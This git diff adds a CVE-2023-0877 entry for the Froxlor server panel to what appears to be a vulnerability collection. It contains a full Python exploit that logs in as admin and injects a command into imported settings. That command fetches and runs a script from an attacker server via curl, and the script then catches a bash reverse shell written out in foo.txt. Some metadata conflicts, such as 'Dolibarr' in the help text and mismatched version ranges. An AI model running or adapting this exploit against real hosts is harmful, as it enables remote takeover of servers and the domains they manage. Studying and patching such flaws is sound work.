diff --git a/cve/Froxlor/2023/CVE-2023-0877/README.md b/cve/Froxlor/2023/CVE-2023-0877/README.md new file mode 100644 index 0000000000000000000000000000000000000000..cd578e97e44e5238c630ba94c2eff5ba81d2caaf --- /dev/null +++ b/cve/Froxlor/2023/CVE-2023-0877/README.md @@ -0,0 +1,18 @@ +### [CVE-2023-0877](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0877) +![](https://img.shields.io/static/v1?label=Product&message=froxlor%2Ffroxlor&color=blue) +![](https://img.shields.io/static/v1?label=Version&message=%3C%202.0.11%20&color=brighgreen) +![](https://img.shields.io/static/v1?label=Vulnerability&message=CWE-94%20Improper%20Control%20of%20Generation%20of%20Code&color=brighgreen) + +### Description + +Code Injection in GitHub repository froxlor/froxlor prior to 2.0.11. + +### POC + +#### Reference +- https://huntr.dev/bounties/b29cf038-06f1-4fb0-9437-08f2991f92a8 + +#### Github +- https://github.com/ARPSyndicate/cvemon +- https://github.com/blakduk/Advisories + diff --git a/cve/Froxlor/2023/CVE-2023-0877/cve-2023-0877.py b/cve/Froxlor/2023/CVE-2023-0877/cve-2023-0877.py new file mode 100644 index 0000000000000000000000000000000000000000..d07fe9b29a863a7165c18a86a410ead391986ac3 --- /dev/null +++ b/cve/Froxlor/2023/CVE-2023-0877/cve-2023-0877.py @@ -0,0 +1,210 @@ +# Exploit Title: Froxlor 2.0.10 Settings Import Remote Code Execution +# Date: 04/02/2023 +# Exploit Author: blakduk +# Vendor Homepage: https://froxlor.org/ +# Software Link: https://github.com/Froxlor/Froxlor/releases/tag/2.0.10 +# Version: 2.0.10 + +## Step 1: Create http server and deliver foo.txt. Content of foo.txt file +## #!/bin/bash +## bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1 +## +## Step 2: run this file, it will listen on port provided in lport parameter + +#!/usr/bin/env python3 +import requests +import telnetlib +import argparse +import socket +import random +import json +import os + +from time import sleep +from threading import Thread +from bs4 import BeautifulSoup +from requests.packages import urllib3 + +base = "" +sess = requests.session() + +headers = { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', +} +proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} +#proxies = None + +def usage(): + banner = """NAME: Import Settings to RCE (authenticated) +SYNOPSIS: python3 exploit.py -t -u -p -s -lport +EXAMPLE: python3 exploit.py -t "http://192.168.119.133/" -u admin -p test -s "http://192.168.200.229/foo.txt" -lport 4444 +AUTHOR: blakduk""" + print(banner) + exit(-1) + +def request(method, url, headers=None, files=None, data=None, proxies=None, allow_redirects=True, timeout=30): + i = 1 + urllib3.disable_warnings() + resp = None + proxies = proxies + allow_redirects = allow_redirects + while i <= 3: + try: + resp = sess.request(method=method, url=url, headers=headers, files=files, data=data, proxies=proxies, timeout=timeout, verify=False, allow_redirects=allow_redirects) + break + except requests.exceptions.TooManyRedirects: + break + except requests.exceptions.ConnectionError as e: + sleep(2 + random.randint(1, 4)) + except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout, requests.exceptions.Timeout): + sleep(2 + random.randint(1, 4)) + finally: + i += 1 + if i > 3: + print('[-]Error retrieve with max retries: {}'.format(url)) + return resp + +def connection_handler(port): + print("[+] Listener started on port %s" % port) + t = telnetlib.Telnet() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(("0.0.0.0", int(port))) + s.listen(1) + conn, addr = s.accept() + print("[+] Connection received from %s" % addr[0]) + t.sock = conn + print("[+] Heads up, incoming shell!!") + t.interact() + +def generatePayload(attacker_url, data): + command = '/bin/bash -c \\\"$(curl {})\\\" && /usr/bin/nice -n 5 /usr/bin/php -q'.format(attacker_url); + + php_code = """ + + """.format(data, command) + with open("tmp.php", "w") as f: + f.write(php_code) + f.write("\n") + print("[+] Malicious settings file: {}".format(os.path.abspath('./settings.json'))) + os.system("php tmp.php") + os.system("rm tmp.php") + if os.path.isfile("./settings.json"): + return os.path.abspath('./settings.json') + return False + +def uploadSettings(settings_path): + global base + if not os.path.exists(settings_path): + print(f"[x] Settings file not found") + exit(-1) + + csrf_url = "{}/admin_settings.php?page=importexport".format(base) + res = request("GET", csrf_url, headers=headers, proxies=proxies) + if res.status_code == 200: + soup = BeautifulSoup(res.text, "lxml") + csrf_token = (soup.find("meta", {"name":"csrf-token"})["content"]) + if not csrf_token: + csrf_token = "" + + upload_url = "{}/admin_settings.php?page=importexport&action=import".format(base) + + files = { + "import_file": open(settings_path, 'rb') + } + + datas = { + "csrf_token": csrf_token, + "page": "importexport", + "action": "", + "send": "send" + } + res = request("POST", upload_url, headers=headers, files=files, data=datas, proxies=proxies) + if "Settings imported successfully" in res.text: + os.system("rm {}".format(settings_path)) + # Redirect to apply settings + settings_url = "{}/admin_settings.php".format(base) + request("GET", settings_url, headers=headers, proxies=proxies) + return True + return False + +def exportSettings(): + global base + settings_url = "{}/admin_settings.php?page=importexport&action=export".format(base) + res = request("GET", settings_url, proxies=proxies) + if res.status_code == 200: + return res.text + return False + +def login(url, username, password): + global base + if url[-1] == '/': + base = url.rsplit('/', 1)[0] + else: + base = url + login_url = "{}/index.php".format(base) + + datas = { + "loginname": username, + "password": password, + "script": "", + "qrystr": "", + "send": "send", + "dologin": "" + } + + res = request('POST', login_url, headers=headers, data=datas, proxies=proxies, allow_redirects=False) + if res.headers["Location"] == "admin_index.php": + return True + return False + +def main(url, username, password, attacker_url, lport): + # Check if exploit is possible + print('[*] Attempt to login') + res = login(url, username, password) + if not res: + print(f"[x] Exploit failed!") + exit(-1) + print('[*] Getting current settings') + res = exportSettings() + if not res: + print(f"[x] Cannot get current settings") + exit(-1) + print('[*] Generating payload') + res = generatePayload(attacker_url, res) + if not res: + print(f"[x] Cannot generate malicious payload") + exit(-1) + print('[*] Upload new malicious settings') + res = uploadSettings(res) + if not res: + print(f"[x] Cannot import settings") + exit(-1) + print('[*] Spawn new shell') + handler_thread = Thread(target=connection_handler, args=(lport,)) + handler_thread.start() + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("-t", help="Base URL of Dolibarr") + parser.add_argument("-u", help="Username") + parser.add_argument("-p", help="Password") + parser.add_argument("-s", help="Attacker web server to serve malicious shell") + parser.add_argument("-lport", help="Attacker listening port") + args = parser.parse_args() + + if not args.t or not args.u or not args.p or not args.s or not args.lport: + usage() + + main(args.t, args.u, args.p, args.s, args.lport) + + + diff --git a/cve/Froxlor/2023/CVE-2023-0877/foo.txt b/cve/Froxlor/2023/CVE-2023-0877/foo.txt new file mode 100644 index 0000000000000000000000000000000000000000..a64a3a1ae39789e2710bc02b17b0d72b0c0357c8 --- /dev/null +++ b/cve/Froxlor/2023/CVE-2023-0877/foo.txt @@ -0,0 +1,2 @@ +#!/bin/bash +bash -i >& /dev/tcp/{ATTACKER-IP}/{ATTACKER-PORT} 0>&1 \ No newline at end of file diff --git a/cve/Froxlor/2023/yaml/CVE-2023-0877.yaml b/cve/Froxlor/2023/yaml/CVE-2023-0877.yaml new file mode 100644 index 0000000000000000000000000000000000000000..c65b99eaf5fa6ce246dfb9eaaa9cbb600cd9ecce --- /dev/null +++ b/cve/Froxlor/2023/yaml/CVE-2023-0877.yaml @@ -0,0 +1,21 @@ +id: CVE-2023-0877 +source: + https://huntr.dev/bounties/b29cf038-06f1-4fb0-9437-08f2991f92a8/ +info: + name: Froxlor是一款易于使用且功能强大的服务器管理面板,用于管理各种主机和域名服务。 + severity: high + description: | + Code Injection in GitHub repository froxlor/froxlor prior to 2.0.11. + scope-of-influence: + Froxlor before 2.0.8 + reference: + - https://github.com/blakduk/Advisories + - https://huntr.dev/bounties/b29cf038-06f1-4fb0-9437-08f2991f92a8/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2023-0877 + cwe-id: CWE-94 + cnvd-id: None + kve-id: None + tags: Code Injection, Remote Code Execution diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 9b6a0f883e6ec8f7d5fee2831d768801e8c67f83..43e1a8ef38f97acc0a5e35458ee5b9eaab746bb4 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -174,6 +174,7 @@ cve: Froxlor: - CVE-2021-42325 - CVE-2023-0315 + - CVE-2023-0877 cnvd: apache-tomcat: - CNVD-2020-10487